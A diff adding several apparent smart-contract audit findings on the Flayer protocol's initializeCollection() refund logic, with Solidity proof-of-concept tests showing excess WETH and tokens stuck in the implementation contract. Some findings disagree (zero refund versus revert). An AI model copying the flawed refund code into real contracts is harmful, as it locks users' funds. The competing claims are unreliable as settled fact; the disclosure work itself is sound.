+function test_CanInitializePool() public {
+ // Define the collection we will be interacting with
+ address _collection = address(erc721a);
+
+ // Define our deterministic collection token
+ address expectedCollectionToken = LibClone.predictDeterministicAddress(locker.tokenImplementation(), bytes32(uint(1)), address(locker));
+
+ // Create our base collection. When the collection is created:
+ // - Create a CollectionToken and map it
+ // - Emit the `CollectionCreated` event
+ // - Define a UV4 `PoolKey`
+
+ // - Emit the `CollectionCreated` event
+ vm.expectEmit();
+ emit Locker.CollectionCreated(_collection, expectedCollectionToken, 'Test Collection', 'TEST', 0, address(this));
+
+ locker.createCollection(_collection, 'Test Collection', 'TEST', 0);
+
+ // Our Collection should not be marked as initialized
+ assertFalse(locker.collectionInitialized(_collection));
+
+ // - Create a CollectionToken and map it
+ assertEq(address(locker.collectionToken(_collection)), expectedCollectionToken);
+ assertEq(locker.collectionToken(_collection).totalSupply(), 0);
+
+ // - Define a UV4 `PoolKey`
+ PoolKey memory poolKey = PoolKey({
+ currency0: Currency.wrap(address(WETH) < expectedCollectionToken ? address(WETH) : expectedCollectionToken),
+ currency1: Currency.wrap(address(WETH) > expectedCollectionToken ? address(WETH) : expectedCollectionToken),
+ fee: LPFeeLibrary.DYNAMIC_FEE_FLAG,
+ tickSpacing: 60,
+ hooks: IHooks(address(uniswapImplementation))
+ });
+
+ assertEq(uniswapImplementation.getCollectionPoolKey(_collection), abi.encode(poolKey));
+
+ // At this point:
+ // - ERC721s are taken from the user
+ // - Liquidity provided from ETH + token
+ // - Emit `InitializeCollection` event
+ // - Collection is marked as initialized
+ uint tokenOffset = 100000;
+
+ // Mint enough tokens to initialize successfully
+ uint tokenIdsLength = locker.MINIMUM_TOKEN_IDS();
+ uint[] memory _tokenIds = new uint[](tokenIdsLength);
+ for (uint i; i < tokenIdsLength; ++i) {
+ _tokenIds[i] = tokenOffset + i;
+ ERC721Mock(_collection).mint(address(this), tokenOffset + i);
+ }
+
+ // Approve our {Locker} to transfer the tokens
+ ERC721Mock(_collection).setApprovalForAll(address(locker), true);
+
+ // - Emit `InitializeCollection` event
+ vm.expectEmit();
+
+ IBaseImplementation implementation = locker.implementation();
+ IERC20 nativeToken = IERC20(implementation.nativeToken());
+
+ uint256 beforeUser = nativeToken.balanceOf(address(this));
+ uint256 beforeImplementation = nativeToken.balanceOf(address(implementation));
+
+
+ emit Locker.CollectionInitialized(_collection, abi.encode(poolKey), _tokenIds, SQRT_PRICE_1_2, address(this));
+
+ // - Liquidity provided from ETH + token
+ locker.initializeCollection(_collection, 10 ether, _tokenIds, 0, SQRT_PRICE_1_2);
+
+ // - ERC721s are taken from the user
+ for (uint i; i < tokenIdsLength; ++i) {
+ assertEq(ERC721Mock(_collection).ownerOf(tokenOffset + i), address(locker));
+ }
+
+ // - Collection is marked as initialized
+ assertTrue(locker.collectionInitialized(_collection));
+
+ uint256 afterUser = nativeToken.balanceOf(address(this));
+ uint256 afterImplementation = nativeToken.balanceOf(address(implementation));
+
+ console.log("Pay Amount: ", beforeUser - afterUser);
+ console.log("Lock Amount in Implementation: ", afterImplementation - beforeImplementation);
+ }
+```
+Result:
+```solidity
+Ran 1 test for test/Locker.t.sol:LockerTest
+[PASS] test_CanInitializePool() (gas: 2158320)
+Logs:
+ Pay Amount: 10000000000000000000
+ Lock Amount in Implementation: 5000000000000000000
+
+Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 63.03ms (58.69ms CPU time)
+
+Ran 1 test suite in 65.68ms (63.03ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
+```
+
+
+### Mitigation
+
+Implement the Refund Mechanism correctly in the `UniswapImplementation.sol#initializeCollection()` function and the `Locker.sol#initializeCollection()` function.
\ No newline at end of file
diff --git a/002/179.md b/002/179.md
new file mode 100644
index 0000000..81d43f5
--- /dev/null
+++ b/002/179.md
@@ -0,0 +1,105 @@
+Tiny Plastic Hyena
+
+High
+
+# Users who initialize a collection will not be refunded excess WETH sent during initialization
+
+### Summary
+
+Faulty WETH accounting/transfers in Locker::initializeCollection() will cause the loss of funds for users initializing a collection.
+
+### Root Cause
+
+Locker::initializeCollection() [transfers WETH from the user to the Implementation contract](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L384). The Locker is supposed to [return excess WETH from the pool initialization to the user](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L394-L398), but it never gets back the excess. In the Implementation contract, [initializeCollection()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L205-L240) and the subsequently called [_unlockCallback()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L376-L420) spend the WETH received initializing the pool, but never send the excess back to the Locker contract or user.
+
+```solidity
+ function initializeCollection(address _collection, uint _eth, uint[] calldata _tokenIds, uint _tokenSlippage, uint160 _sqrtPriceX96) public virtual whenNotPaused collectionExists(_collection) {
+ ...
+ // Send the native ETH equivalent token into the implementation
+ uint startBalance = nativeToken.balanceOf(address(this));
+@> nativeToken.transferFrom(msg.sender, address(_implementation), _eth); // @audit weth sent out
+
+ ...
+
+ // Refund any unused relative token to the user
+@> nativeToken.transfer( //@audit excess weth supposed to be sent back, but never is, this will always transfer 0
+ msg.sender,
+ startBalance - nativeToken.balanceOf(address(this))
+ );
+ }
+```
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Any time a user initializes a collection, any excess WETH not needed to initialize the pool will be stuck in the Implementation contract. It is stated in the contract that excess WETH will be refunded, as the initial pool balances are decided by the sqrtPricex96 argument and pulled from the contract. However in practice, this function leads to lost funds.
+
+### PoC
+
+Please paste the following into Locker.t.sol:
+```solidity
+function test_InitializerIsNotRefundedExcessEth() public {
+ // implementation contract
+ address imp = address(locker.implementation());
+
+ // user who initializes the collection
+ address depositor = makeAddr("depositor");
+ vm.startPrank(depositor);
+
+ ERC721Mock astroidDogs = new ERC721Mock();
+ // Approve some of the ERC721Mock collections in our {Listings}
+ locker.createCollection(address(astroidDogs), 'Astroid Dogs', 'ADOG', 0);
+ address adog = address(locker.collectionToken(address(astroidDogs)));
+
+ // mint the depositor enough dogs and eth, approve locker to spend
+ uint[] memory tokenIds = new uint[](10);
+ for (uint i = 0; i < 10; ++i) {
+ astroidDogs.mint(depositor, i);
+ tokenIds[i] = i;
+ astroidDogs.approve(address(locker), i);
+
+ }
+ deal(address(WETH), depositor, 15e18);
+ WETH.approve(address(locker), 15e18);
+
+ // get balances of user and all contracts before initialization
+ uint256 preDep = WETH.balanceOf(depositor);
+ uint256 preLoc = WETH.balanceOf(address(locker));
+ uint256 prePm = WETH.balanceOf(address(poolManager));
+ uint256 preImp = WETH.balanceOf(imp);
+
+ // initialize collection with a 1:1 ratio of NFTs to fTokens set by price, but sending 5 additional WETH
+ // slippage setting and squrtPrice 1:1 ratio
+ locker.initializeCollection(address(astroidDogs), 15e18, tokenIds, 1, 79228162514264337593543950336);
+
+ // get balances after the initialization
+ uint256 postDep = WETH.balanceOf(depositor);
+ uint256 postLoc = WETH.balanceOf(address(locker));
+ uint256 postPm = WETH.balanceOf(address(poolManager));
+ uint256 postImp = WETH.balanceOf(imp);
+
+ // all funds have been spent on behalf of user (initial balance 15 weth)
+ assertEq(postDep, 0);
+ // all funds that flowed through the Locker contract are gone
+ assertEq(preLoc, postLoc);
+ // the PoolManager has 10 more Weth than it started with (1:1 ratio of WETH to NFTs deposited)
+ assertEq(prePm + 10 ether, postPm);
+ // the excess 5 weth that should have been refunded at the end of initializeCollection is stuck in the implementation contract
+ assertEq(preImp + 5 ether, postImp);
+ }
+```
+
+### Mitigation
+
+Have the Implementation contract send unused WETH back to the Locker contract after the pool has been initialized or alternatively move all WETH accounting/refunding into the implementation contract.
\ No newline at end of file
diff --git a/002/196.md b/002/196.md
new file mode 100644
index 0000000..f9a1686
--- /dev/null
+++ b/002/196.md
@@ -0,0 +1,50 @@
+Precise Lava Starfish
+
+Medium
+
+# Refund does not work in initializeCollection
+
+## Summary
+The initial liquidity provider will lose their expected refund tokens.
+
+## Vulnerability Detail
+The first liquidity provider will add the first liquidity via `initializeCollection`. If the native token's amount is larger than expected native token amount, the left native tokens will be refunded to the initial liquidity provider.
+The problem is that we use `startBalance - nativeToken.balanceOf(address(this)` to calculate the refund amount. The actual native tokens will be transferred into `implementation` contract. In the process of `initializeCollection`, the native token balance in Locker contract does not change. The refund amount will keep zero.
+
+```solidity
+ function initializeCollection(address _collection, uint _eth, uint[] calldata _tokenIds, uint _tokenSlippage, uint160 _sqrtPriceX96) public virtual whenNotPaused collectionExists(_collection) {
+ ...
+ // Convert the tokens into ERC20's which will return at a rate of 1:1
+ // Deposit ERC721 tokens to get ERC20 tokens , and the receipt is the implementation.
+ deposit(_collection, _tokenIds, address(_implementation));
+ // Send the native ETH equivalent token into the implementation
+ uint startBalance = nativeToken.balanceOf(address(this));
+ // WETH --> implementation.
+ nativeToken.transferFrom(msg.sender, address(_implementation), _eth);
+
+ // Make our internal call to our implementation
+ uint tokens = _tokenIdsLength * 1 ether * 10 ** _collectionToken[_collection].denomination();
+ _implementation.initializeCollection(_collection, _eth, tokens, _tokenSlippage, _sqrtPriceX96);
+
+ collectionInitialized[_collection] = true;
+ emit CollectionInitialized(_collection, _implementation.getCollectionPoolKey(_collection), _tokenIds, _sqrtPriceX96, msg.sender);
+
+ nativeToken.transfer(
+ msg.sender,
+@> startBalance - nativeToken.balanceOf(address(this))
+ );
+ }
+```
+
+## Impact
+The first liquidity provider will lose their expected refund tokens.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L367-L399
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Calculate refund amount via uniswap implementation contract's balance change, and withdraw refund native tokens from implementation contract.
\ No newline at end of file
diff --git a/002/206.md b/002/206.md
new file mode 100644
index 0000000..b4d7dd2
--- /dev/null
+++ b/002/206.md
@@ -0,0 +1,65 @@
+Shiny Mint Lion
+
+High
+
+# A calculation error in the Locker::initializeCollection() function could cause a Denial of Service (DoS).
+
+
+## Summary
+The minuend and subtrahend were written in reverse during the calculation, causing a Denial of Service (DoS).
+## Vulnerability Detail
+```javascript
+function initializeCollection(address _collection, uint _eth, uint[] calldata _tokenIds, uint _tokenSlippage, uint160 _sqrtPriceX96) public virtual whenNotPaused collectionExists(_collection) {
+ // Ensure the collection is not already initialised
+ if (collectionInitialized[_collection]) revert CollectionAlreadyInitialized();
+
+ // Ensure that the minimum threshold of collection tokens have been provided
+ uint _tokenIdsLength = _tokenIds.length;
+ if (_tokenIdsLength < MINIMUM_TOKEN_IDS) revert InsufficientTokenIds();
+
+ // cache
+ IBaseImplementation _implementation = implementation;
+ IERC20 nativeToken = IERC20(_implementation.nativeToken());
+
+ // Convert the tokens into ERC20's which will return at a rate of 1:1
+ deposit(_collection, _tokenIds, address(_implementation));
+
+ // Send the native ETH equivalent token into the implementation
+@>> uint startBalance = nativeToken.balanceOf(address(this));
+ nativeToken.transferFrom(msg.sender, address(_implementation), _eth);
+
+ // Make our internal call to our implementation
+ uint tokens = _tokenIdsLength * 1 ether * 10 ** _collectionToken[_collection].denomination();
+@>> _implementation.initializeCollection(_collection, _eth, tokens, _tokenSlippage, _sqrtPriceX96);
+
+ // Map our collection as initialized
+ collectionInitialized[_collection] = true;
+ emit CollectionInitialized(_collection, _implementation.getCollectionPoolKey(_collection), _tokenIds, _sqrtPriceX96, msg.sender);
+
+ // Refund any unused relative token to the user
+ nativeToken.transfer(
+ msg.sender,
+@>> startBalance - nativeToken.balanceOf(address(this))
+ );
+ }
+
+```
+startBalance is the amount the user had before transferring native tokens to the _implementation contract. After executing the _implementation.initializeCollection() operation, a portion of _eth may be refunded, which could result in afterBalance = nativeToken.balanceOf(address(this)) being greater than startBalance.
+
+Therefore, if startBalance < nativeToken.balanceOf(address(this)), due to Solidity 8’s characteristics, the expression startBalance - nativeToken.balanceOf(address(this)) will revert, causing the entire operation to fail, resulting in a Denial of Service (DoS).
+## Impact
+Due to the condition being written in reverse, the entire operation will fail, resulting in a Denial of Service (DoS).
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L367
+## Tool used
+
+Manual Review
+
+## Recommendation
+```diff
+nativeToken.transfer(
+ msg.sender,
+- startBalance - nativeToken.balanceOf(address(this))
++ nativeToken.balanceOf(address(this)) - startBalance
+ );
+```
\ No newline at end of file
diff --git a/002/207.md b/002/207.md
new file mode 100644
index 0000000..361d757
--- /dev/null
+++ b/002/207.md
@@ -0,0 +1,57 @@
+Shiny Mint Lion
+
+High
+
+# The Locker::initializeCollection() function is missing the return of unused collectionToken to the user.
+
+## Summary
+The initializeCollection() function is missing the return of unused collectionToken to the user.
+## Vulnerability Detail
+```javascript
+function initializeCollection(address _collection, uint _eth, uint[] calldata _tokenIds, uint _tokenSlippage, uint160 _sqrtPriceX96) public virtual whenNotPaused collectionExists(_collection) {
+ // Ensure the collection is not already initialised
+ if (collectionInitialized[_collection]) revert CollectionAlreadyInitialized();
+
+ // Ensure that the minimum threshold of collection tokens have been provided
+ uint _tokenIdsLength = _tokenIds.length;
+ if (_tokenIdsLength < MINIMUM_TOKEN_IDS) revert InsufficientTokenIds();
+
+ // cache
+ IBaseImplementation _implementation = implementation;
+ IERC20 nativeToken = IERC20(_implementation.nativeToken());
+
+ // Convert the tokens into ERC20's which will return at a rate of 1:1
+ deposit(_collection, _tokenIds, address(_implementation));
+
+ // Send the native ETH equivalent token into the implementation
+ uint startBalance = nativeToken.balanceOf(address(this));
+ nativeToken.transferFrom(msg.sender, address(_implementation), _eth);
+
+ // Make our internal call to our implementation
+ uint tokens = _tokenIdsLength * 1 ether * 10 ** _collectionToken[_collection].denomination();
+ _implementation.initializeCollection(_collection, _eth, tokens, _tokenSlippage, _sqrtPriceX96);
+
+ // Map our collection as initialized
+ collectionInitialized[_collection] = true;
+ emit CollectionInitialized(_collection, _implementation.getCollectionPoolKey(_collection), _tokenIds, _sqrtPriceX96, msg.sender);
+
+@>> // Refund any unused relative token to the user
+ nativeToken.transfer(
+ msg.sender,
+ startBalance - nativeToken.balanceOf(address(this))
+ );
+ }
+
+```
+We can see that although the comment mentions ‘Refund any unused relative token to the user,’ the refund operation is only performed for the nativeToken, and not for the collectionToken. The _implementation.initializeCollection() function adds both nativeToken and collectionToken to the UniswapV4 pool as liquidity. When adding liquidity, there may be a small leftover amount of either amount0 or amount1. Therefore, if there is any leftover collectionToken, it also needs to be refunded to the user.
+## Impact
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L367
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Add a condition to check if there is any leftover collectionToken, and perform the refund operation.
\ No newline at end of file
diff --git a/002/208.md b/002/208.md
new file mode 100644
index 0000000..c7b33e0
--- /dev/null
+++ b/002/208.md
@@ -0,0 +1,152 @@
+Shiny Mint Lion
+
+High
+
+# The unused tokens from the user’s initialization of UniswapV4‘s pool will be locked in the UniswapImplementation contract.
+
+## Summary
+The unused tokens from the user’s initialization of UniswapV4‘s pool will be locked in the UniswapImplementation contract.
+## Vulnerability Detail
+```javascript
+ function initializeCollection(address _collection, uint _amount0, uint _amount1, uint _amount1Slippage, uint160 _sqrtPriceX96) public override {
+ // Ensure that only our {Locker} can call initialize
+ if (msg.sender != address(locker)) revert CallerIsNotLocker();
+
+ // Ensure that the PoolKey is not empty
+ PoolKey memory poolKey = _poolKeys[_collection];
+ if (poolKey.tickSpacing == 0) revert UnknownCollection();
+
+ // Initialise our pool
+ poolManager.initialize(poolKey, _sqrtPriceX96, '');
+
+ // After our contract is initialized, we mark our pool as initialized and emit
+ // our first state update to notify the UX of current prices, etc.
+ PoolId id = poolKey.toId();
+ _emitPoolStateUpdate(id);
+
+ // Load our pool parameters and update the initialized flag
+ PoolParams storage poolParams = _poolParams[id];
+ poolParams.initialized = true;
+
+ // Obtain the UV4 lock for the pool to pull in liquidity
+@>> poolManager.unlock(
+ abi.encode(CallbackData({
+ poolKey: poolKey,
+ liquidityDelta: LiquidityAmounts.getLiquidityForAmounts({
+ sqrtPriceX96: _sqrtPriceX96,
+ sqrtPriceAX96: TICK_SQRT_PRICEAX96,
+ sqrtPriceBX96: TICK_SQRT_PRICEBX96,
+ amount0: poolParams.currencyFlipped ? _amount1 : _amount0,
+ amount1: poolParams.currencyFlipped ? _amount0 : _amount1
+ }),
+ liquidityTokens: _amount1,
+ liquidityTokenSlippage: _amount1Slippage
+ })
+ ));
+ }
+```
+This function calls UniswapV4’s poolManager.unlock().
+
+```javascript
+function unlock(bytes calldata data) external override returns (bytes memory result) {
+ if (Lock.isUnlocked()) AlreadyUnlocked.selector.revertWith();
+
+ Lock.unlock();
+
+ // the caller does everything in this callback, including paying what they owe via calls to settle
+@>> result = IUnlockCallback(msg.sender).unlockCallback(data);
+
+ if (NonzeroDeltaCount.read() != 0) CurrencyNotSettled.selector.revertWith();
+ Lock.lock();
+ }
+```
+And in poolManager.unlock(), the unlockCallback() function of UniswapImplementation is called.
+```javascript
+function _unlockCallback(bytes calldata _data) internal override returns (bytes memory) {
+ // Unpack our passed data
+ CallbackData memory params = abi.decode(_data, (CallbackData));
+
+ // As this call should only come in when we are initializing our pool, we
+ // don't need to worry about `take` calls, but only `settle` calls.
+ (BalanceDelta delta,) = poolManager.modifyLiquidity({
+ key: params.poolKey,
+ params: IPoolManager.ModifyLiquidityParams({
+ tickLower: MIN_USABLE_TICK,
+ tickUpper: MAX_USABLE_TICK,
+ liquidityDelta: int(uint(params.liquidityDelta)),
+ salt: ''
+ }),
+ hookData: ''
+ });
+
+ // Check the native delta amounts that we need to transfer from the contract
+@>> if (delta.amount0() < 0) {
+@>> _pushTokens(params.poolKey.currency0, uint128(-delta.amount0()));
+ }
+
+ // Check our ERC20 donation
+@>> if (delta.amount1() < 0) {
+@>> _pushTokens(params.poolKey.currency1, uint128(-delta.amount1()));
+ }
+
+ // If we have an expected amount of tokens being provided as liquidity, then we
+ // need to ensure that this exact amount is sent. There may be some dust that is
+ // lost during rounding and for this reason we need to set a small slippage
+ // tolerance on the checked amount.
+ if (params.liquidityTokens != 0) {
+ uint128 deltaAbs = _poolParams[params.poolKey.toId()].currencyFlipped ? uint128(-delta.amount0()) : uint128(-delta.amount1());
+ if (params.liquidityTokenSlippage < params.liquidityTokens - deltaAbs) {
+ revert IncorrectTokenLiquidity(
+ deltaAbs,
+ params.liquidityTokenSlippage,
+ params.liquidityTokens
+ );
+ }
+ }
+
+ // We return our `BalanceDelta` response from the donate call
+ return abi.encode(delta);
+ }
+```
+In the above code, _pushTokens() transfers the required amounts of currency0 and currency1 (i.e., nativeToken and collectionToken) from the UniswapImplementation contract to the poolManager contract in UniswapV4.
+
+```javascript
+ function getLiquidityForAmounts(
+ uint160 sqrtPriceX96,
+ uint160 sqrtPriceAX96,
+ uint160 sqrtPriceBX96,
+ uint256 amount0,
+ uint256 amount1
+ ) internal pure returns (uint128 liquidity) {
+ if (sqrtPriceAX96 > sqrtPriceBX96) (sqrtPriceAX96, sqrtPriceBX96) = (sqrtPriceBX96, sqrtPriceAX96);
+
+ if (sqrtPriceX96 <= sqrtPriceAX96) {
+ liquidity = getLiquidityForAmount0(sqrtPriceAX96, sqrtPriceBX96, amount0);
+ } else if (sqrtPriceX96 < sqrtPriceBX96) {
+ uint128 liquidity0 = getLiquidityForAmount0(sqrtPriceX96, sqrtPriceBX96, amount0);
+ uint128 liquidity1 = getLiquidityForAmount1(sqrtPriceAX96, sqrtPriceX96, amount1);
+
+@>> liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1;
+ } else {
+ liquidity = getLiquidityForAmount1(sqrtPriceAX96, sqrtPriceBX96, amount1);
+ }
+ }
+```
+From LiquidityAmounts.getLiquidityForAmounts() in UniswapV4, we can see that the amounts of currency0 and currency1 might not be fully utilized, and one of the tokens will always have a leftover amount.
+In the UniswapImplementation::_unlockCallback() function, there is no operation to return the leftover tokens to the msg.sender (i.e., the Locker). It only compares the leftover collectionToken with the liquidityTokenSlippage, and if the leftover collectionToken exceeds the liquidityTokenSlippage, the entire operation will revert.
+
+This only ensures that the remaining amount of collectionToken is within the user’s control.
+However, the leftover tokens (either nativeToken or collectionToken) will remain permanently locked in the UniswapImplementation contract.
+## Impact
+The user loses the leftover tokens.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L205
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L376
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Add handling for refunding the leftover tokens.
\ No newline at end of file
diff --git a/002/241.md b/002/241.md
new file mode 100644
index 0000000..cad588c
--- /dev/null
+++ b/002/241.md
@@ -0,0 +1,116 @@
+Happy Wintergreen Kookaburra
+
+High
+
+# The `initializeCollection` is using a wrong Refund Logic causing the function to send zero Refunds
+
+## Summary
+The contract transfers the entire ETH amount to the implementation contract, which then sends only the required portion to the pool, leaving the excess tokens stuck in the implementation
+
+## Vulnerability Detail
+The Function `initializeCollection` does not perform a proper check to determine the exact amount of ETH required for liquidity in the pool during the `initializeCollection` process. Instead, it sends the entire amount of ETH provided by the user to the implementation contract, assuming it will handle the allocation. The issue arises because the implementation contract only uses the required amount for pool creation, but the remaining ETH (or excess tokens) is not refunded
+
+## Impact
+Over time, the failure to calculate the required ETH for liquidity in the `initializeCollection` function will result in users overpaying, leading to losses. This issue will increase as more users interact with the contract, causing a accumulation of excess ETH that gets stuck in the implementation contract, reducing user funds and damaging trust in the protocol
+
+## Code Snippet
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L367-L399
+```solidity
+ function initializeCollection(address _collection, uint _eth, uint[] calldata _tokenIds, uint _tokenSlippage, uint160 _sqrtPriceX96) public virtual whenNotPaused collectionExists(_collection) {
+ // Ensure the collection is not already initialised
+ if (collectionInitialized[_collection]) revert CollectionAlreadyInitialized();
+
+ // Ensure that the minimum threshold of collection tokens have been provided
+ uint _tokenIdsLength = _tokenIds.length;
+ if (_tokenIdsLength < MINIMUM_TOKEN_IDS) revert InsufficientTokenIds();
+
+ // cache
+ IBaseImplementation _implementation = implementation;
+ IERC20 nativeToken = IERC20(_implementation.nativeToken());
+
+ // Convert the tokens into ERC20's which will return at a rate of 1:1
+ deposit(_collection, _tokenIds, address(_implementation));
+
+ // Send the native ETH equivalent token into the implementation
+ uint startBalance = nativeToken.balanceOf(address(this));
+ nativeToken.transferFrom(msg.sender, address(_implementation), _eth);
+
+ // Make our internal call to our implementation
+ uint tokens = _tokenIdsLength * 1 ether * 10 ** _collectionToken[_collection].denomination();
+ _implementation.initializeCollection(_collection, _eth, tokens, _tokenSlippage, _sqrtPriceX96);
+
+ // Map our collection as initialized
+ collectionInitialized[_collection] = true;
+ emit CollectionInitialized(_collection, _implementation.getCollectionPoolKey(_collection), _tokenIds, _sqrtPriceX96, msg.sender);
+
+ // Refund any unused relative token to the user
+ nativeToken.transfer(
+ msg.sender,
+ startBalance - nativeToken.balanceOf(address(this))
+ );
+ }
+```
+
+## PoC
+- Put the PoC inside the `Locker.t.sol`
+
+
+
+POC
+
+```solidity
+ function test_PoC2() public {
+ // the collection we will be interacting with
+ address _collection = address(erc721a);
+
+ // Create the Collection and Collection Token
+ locker.createCollection(_collection, 'Test Collection', 'TEST', 0);
+
+ uint tokenOffset = 100000;
+
+ // Mint enough tokens to initialize successfully
+ uint tokenIdsLength = locker.MINIMUM_TOKEN_IDS(); // 10 tokens
+ uint[] memory _tokenIds = new uint[](tokenIdsLength);
+ for (uint i; i < tokenIdsLength; ++i) {
+ _tokenIds[i] = tokenOffset + i;
+ ERC721Mock(_collection).mint(address(this), tokenOffset + i); //mint to this address
+ }
+
+ console.log("This address Native Token Starting Balance:", WETH.balanceOf(address(this)));
+ // Approve our {Locker} to transfer the tokens
+ ERC721Mock(_collection).setApprovalForAll(address(locker), true);
+
+ // required Amount is 5 ether, send the (amount - 5 ether) back if its more than 5 ether
+ vm.expectRevert(); // Not enough Liquidity (as 5 ether is required)
+ locker.initializeCollection(_collection, 4 ether, _tokenIds, 0, SQRT_PRICE_1_2);
+ // correct liquidity plus extra amount
+ locker.initializeCollection(_collection, 10 ether, _tokenIds, 0, SQRT_PRICE_1_2);
+
+ // Collection is marked as initialized but no eth was returned
+ assertTrue(locker.collectionInitialized(_collection));
+ console.log("This address Native Token Balance After:", WETH.balanceOf(address(this)));
+ console.log("The address of the Implementation: ", address(uniswapImplementation)); // to know the address of the implementation
+ }
+```
+
+
+
+- Output
+```solidity
+ This address Native Token Starting Balance: 100000000000000000000
+ This address Native Token Balance After: 90000000000000000000
+ The address of the Implementation: 0x57D88D547641a626eC40242196F69754b25D2FCC // The address that will receive the eth
+```
+- Traces
+```solidity
+ ├─ [6188] 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c::transfer(0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f, 5000000000000000000 [5e18])
+ │ ├─ emit Transfer(from: 0x57D88D547641a626eC40242196F69754b25D2FCC, to: 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f, value: 5000000000000000000 [5e18])
+// this is what the implementation is going to send (The required eth that was required when creating the liquidity position)
+```
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Before transferring any ETH, the contract should calculate the exact amount required to initialize the pool and Transfer Only the Required Amount
diff --git a/002/248.md b/002/248.md
new file mode 100644
index 0000000..34bc2e4
--- /dev/null
+++ b/002/248.md
@@ -0,0 +1,178 @@
+Tiny Plastic Hyena
+
+High
+
+# Liquidity provided when initializing a collection in Locker.sol will be stuck in Uniswap, with no way for the user to recover it
+
+### Summary
+
+UniswapImplementation.sol does not offer a way to withdraw the initial liquidity provided from the pool, causing the total loss of funds for any user who initializes a pool.
+
+### Root Cause
+
+Interacting with Uniswap v4 requires an peripheral contract to unlock() the PoolManager, which[ then calls unlockCallback()](https://github.com/Uniswap/v4-core/blob/e06fb6a3511d61332db4a9fa05bc4348937c07d4/src/PoolManager.sol#L111) on said peripheral contract. It is the job of unlockContract() to handle any interactions with PoolManager, including modifying liquidity. In UniswapImplementation.sol, the only time it ever calls unlock() on the PoolManager is [once during initialization](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L388). After that, it is impossible for the Implementation contract to modify the liquidity of the Pool on behalf of the depositor.
+
+Positions in PoolManager are [credited to the contract that calls modifyLiquidity()](https://github.com/Uniswap/v4-core/blob/e06fb6a3511d61332db4a9fa05bc4348937c07d4/src/PoolManager.sol#L162-L169) on it. This means that the Implementation contract technically owns the liquidity provided by the user, and if the contract does not contain logic to withdraw funds on behalf of said user the funds are lost for good.
+
+```solidity
+ function initializeCollection(address _collection, uint _amount0, uint _amount1, uint _amount1Slippage, uint160 _sqrtPriceX96) public override {
+ // Ensure that only our {Locker} can call initialize
+ if (msg.sender != address(locker)) revert CallerIsNotLocker();
+ ...
+ // Obtain the UV4 lock for the pool to pull in liquidity
+@> poolManager.unlock( // @audit this is the only place unlock is ever called in the Implementation contract
+ abi.encode(CallbackData({
+ poolKey: poolKey,
+ liquidityDelta: LiquidityAmounts.getLiquidityForAmounts({
+ sqrtPriceX96: _sqrtPriceX96,
+ sqrtPriceAX96: TICK_SQRT_PRICEAX96,
+ sqrtPriceBX96: TICK_SQRT_PRICEBX96,
+ amount0: poolParams.currencyFlipped ? _amount1 : _amount0,
+ amount1: poolParams.currencyFlipped ? _amount0 : _amount1
+ }),
+ liquidityTokens: _amount1,
+ liquidityTokenSlippage: _amount1Slippage
+ })
+ ));
+ }
+```
+
+```solidity
+ function _unlockCallback(bytes calldata _data) internal override returns (bytes memory) {
+ ...
+ // As this call should only come in when we are initializing our pool, we
+ // don't need to worry about `take` calls, but only `settle` calls.
+@> (BalanceDelta delta,) = poolManager.modifyLiquidity({ // @audit only place liquidity is ever modified
+ key: params.poolKey,
+ params: IPoolManager.ModifyLiquidityParams({
+ tickLower: MIN_USABLE_TICK,
+ tickUpper: MAX_USABLE_TICK,
+@> liquidityDelta: int(uint(params.liquidityDelta)), // @audit liquidityDelta cast so that it can only ever be positive
+ salt: ''
+ }),
+ hookData: ''
+ });
+```
+This is in PoolManager.sol:
+```solidity
+ function modifyLiquidity(
+ PoolKey memory key,
+ IPoolManager.ModifyLiquidityParams memory params,
+ bytes calldata hookData
+ ) external onlyWhenUnlocked noDelegateCall returns (BalanceDelta callerDelta, BalanceDelta feesAccrued) {
+ BalanceDelta principalDelta;
+ (principalDelta, feesAccrued) = pool.modifyLiquidity(
+ Pool.ModifyLiquidityParams({
+@> owner: msg.sender, // @audit owner of liquidity position set to the Implementation contract
+ tickLower: params.tickLower,
+ tickUpper: params.tickUpper,
+ liquidityDelta: params.liquidityDelta.toInt128(),
+ tickSpacing: key.tickSpacing,
+ salt: params.salt
+```
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Users will lose all funds deposited as liquidity in the collection initialization process. That is a minimum loss of 10 NFTs plus whatever WETH was provided for the other side of the liquidity pool. This leaves zero incentive for anyone to initialize a collection on the protocol.
+
+### PoC
+
